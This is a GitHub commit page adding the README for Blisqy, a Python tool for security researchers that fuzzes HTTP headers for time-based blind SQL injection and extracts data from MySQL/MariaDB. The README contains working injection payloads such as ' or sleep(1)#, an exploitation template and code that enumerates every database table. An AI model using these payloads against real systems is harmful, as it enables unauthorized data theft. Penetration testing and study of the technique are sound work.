Skip to content

Commit 7aea193

Browse files
JohnTroonyJohnTroony
committed
Add updated README.md
1 parent f543055 commit 7aea193

File tree

1 file changed

+187
-0
lines changed

1 file changed

+187
-0
lines changed

‎README.md

Lines changed: 187 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,187 @@
1+
# 1. Blisqy
2+
3+
Blisqy is a tool to aid Web Security researchers to find Time-based Blind SQL injection on HTTP Headers and also exploitation of the same vulnerability.
4+
5+
The exploitation enables slow data siphon from a database (currently supports MySQL/MariaDB only) using bitwise operation on printable ASCII characters, via a blind-SQL injection.
6+
7+
For interoperability with other Python tools and to enable other users utilise the features provided in Blisqy, the modules herein can be imported into other Python based scripts.
8+
9+
When testing for Time-based Blind SQL injections, any network lag or congestion can affect the effectiveness of your fuzzing or exploitation. To compensate for the possible network lags and uncertainties that might cause delays, Blisqy time comparison is dynamic and it's calculated at runtime for each test. The tests utilizes `greenlet`(alight-weight cooperatively-scheduled execution unit) to provide a high-level synchronous API on top of `libevevent` loop. It provides a fast and efficient way of carrying out the payload tests in a short time, also, one particular test should not affect another because they are not fully done in a sequential method.
10+
11+
## 1.1. New Feature(s)
12+
13+
Blisqy now supports fuzzing for Time-based Blind SQL Injection on HTTP Headers and the main functionalities (fuzzing and exploitation) separated to independent files for portability.
14+
15+
## 1.2. Fuzzing with Blisqy
16+
17+
To use the Fuzzing functionality, import the following module in your Python script and provide a target along with the fuzzing data as shown below:
18+
19+
```python
20+
from lib.blindfuzzer import blindSeeker
21+
```
22+
23+
Target parameters should be in a Dictionary/JSON format, for example (*Note the variable data-types)*:
24+
25+
```python
26+
Server = '192.168.56.101'
27+
Port = 80
28+
Index = 1
29+
Method = 'GET'
30+
Headerfile = "fuzz-data/headers/default_headers.txt"
31+
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
32+
33+
target_params = {
34+
'server': Server,
35+
'port': Port,
36+
'index': Index,
37+
'headersFile': Headerfile,
38+
'injectionFile': Injectionfile,
39+
'method': Method
40+
}
41+
```
42+
43+
Invoking the fuzzer once the target parameters are provided is as follow :
44+
45+
```python
46+
vulns = blindSeeker(target_params)
47+
vulns.fuzz()
48+
```
49+
50+
You can checkout `FindBlindSpot.py` for this example provided.
51+
52+
### 1.2.1. Sample Fuzzing Output
53+
54+
If you are successful, you should get a report of the 'injectable' tests carried out. Please note, as much as Blisqy tries to compensate for network lags and congestion while testing it's is important to proof-test the reported positive tests before proceeding.
55+
56+
Below in sample report:
57+
58+
```json
59+
=================== [ Key Terms] ===================
60+
Index = Configured Constant (Delay)
61+
Base Index Record = Server Ping Before Fuzzing
62+
Benching Record = Base Index Record + Index
63+
Fuzzing Record = Time taken to process request with Index
64+
65+
===================== [ Logic] =====================
66+
If Fuzzing Record is greater than Benching Record,
67+
treat as a positive; else, treat as a negative.
68+
69+
70+
71+
[+] Injection : X-Forwarded-For : ' or sleep(1)#
72+
73+
[+] Header : X-Forwarded-For
74+
75+
[*] Index Record : 0.000160932540894
76+
[*] Benching Record : 1.00016093254
77+
[*] Fuzzing Record : 9.01
78+
[!] Test 436 is Injectable.
79+
__________________________________
80+
81+
[+] Injection : X-Forwarded-For : ' or sleep(1)='
82+
83+
[+] Header : X-Forwarded-For
84+
85+
[*] Index Record : 0.000378847122192
86+
[*] Benching Record : 1.00037884712
87+
[*] Fuzzing Record : 18.02
88+
[!] Test 438 is Injectable.
89+
__________________________________
90+
```
91+
92+
Screenshot of Blisqy Fuzzer in action:
93+
94+
![Fuzz for Blind SQLi](https://i.imgur.com/Bc8M3V7.png)
95+
96+
## 1.3. Exploitation with Blisqy
97+
98+
After finding a potential Time-based Blind SQL injection, you can prepare a script to Exploit the vulnerable Web application.
99+
100+
Just as the fuzzer, you can import the module for exploitation in your Python script and define a template for the exploitation operation. Below is an example of how to import the module in a Python script:
101+
102+
```python
103+
from lib.blindexploit import SqlEngine
104+
```
105+
106+
Next, you will need to provide details of your target along with it's target parameters for exploitation. Below is a sample implementation of exploiting the found blind sql injection found by the fuzzer:
107+
108+
The target data should be in a Dictionary/JSON format specifying the server, port, the found vulnerable header and it's value (some applications will need or check for a certain value).
109+
110+
```python
111+
target = {
112+
'server': '192.168.56.101',
113+
'port': 80,
114+
'vulnHeader': 'X-Forwarded-For',
115+
'headerValue': 'fuzzer'
116+
}
117+
```
118+
119+
Target parameters should follow allowing the user to specify some options related to the exploitation preferences.
120+
121+
```python
122+
targetParam = {
123+
'sleepTime': 0.1,
124+
'payload': 'pass',
125+
'mysqlDig': 'yes',
126+
'interactive': 'on',
127+
'verbosity': 'high'
128+
}
129+
```
130+
131+
- **sleepTime** is the delay to be used in the payloads
132+
- **payload** is an option to run the exploitation with a custom SQL query e.g. `select @@hostname`. The default option is `'pass'`.
133+
- **mysqlDig** enables the exploitation to be automatic and to enumerate all the available tables in the schema.
134+
- **interactive** is an option to enable the user interact with the exploitation routine. This can be handy when you want to skip to the interesting parts of the DB.
135+
- **verbosity** can be high, medium or low. This just controls the output information from the exploitation routine.
136+
137+
After providing your target and its parameters, the next thing to provide is a template for the exploitation routine. Blisqy provides a way users can specify where to inject the exfiltration SQL payload and the `sleeptime` delay. Below is an example of an implementation for one of the found vulnerabilities on the sample report provided in the previous subsection.
138+
139+
Found injection on X-Forwarded-For header:
140+
141+
```sql
142+
' or sleep(1)='
143+
```
144+
145+
Template for this particular injection:
146+
147+
```sql
148+
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
149+
```
150+
151+
During runtime, the `*sql*` will be replaced with an SQL injection payload and `*time*` will be replaced with a delay for sleep().
152+
153+
Once all these are done, the last part is to instantiate the exploitation routine and let the `MysqlDigger()` method do the working.
154+
155+
```python
156+
# Create an instance
157+
BlindSql = SqlEngine(target, targetParam, sqli)
158+
159+
# Enumerate the MySql Database
160+
BlindSql.MysqlDigger()
161+
```
162+
163+
You can check `ExploitBlindSpot.py` for this example provided.
164+
165+
Below is an example of an exploitation operation:
166+
167+
![Exploit Blind SQLi](https://i.imgur.com/HfKoJrz.png)
168+
169+
## 1.4. To Do
170+
171+
- ~~Integrate an intelligent Fuzzer for hunting SQL injection vulnerability(ies) on HTTP Headers and Web Elements~~
172+
- Support Blind-SQLi fuzzing and exploitation on WEB endpoints apart from HTTP Headers.
173+
174+
### 1.4.1. Contribute
175+
176+
You can alert me of anything interesting you've found with Blisqy or what you think should be added/removed.
177+
178+
- Share your ideas and wishlist,
179+
- Spot a typo? Lemme know,
180+
- Found ways we ca optimise Blisqy?,
181+
- Suggest ways to incorporate support for other DBMS.
182+
183+
### 1.4.2. Reference
184+
185+
- (PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Available from: [https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation](https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation)
186+
187+
- PentesterLab - From SQL Injection to Shell II [https://pentesterlab.com/exercises/from_sqli_to_shell_II/course](https://pentesterlab.com/exercises/from_sqli_to_shell_II/course)

0 commit comments

Comments
 (0)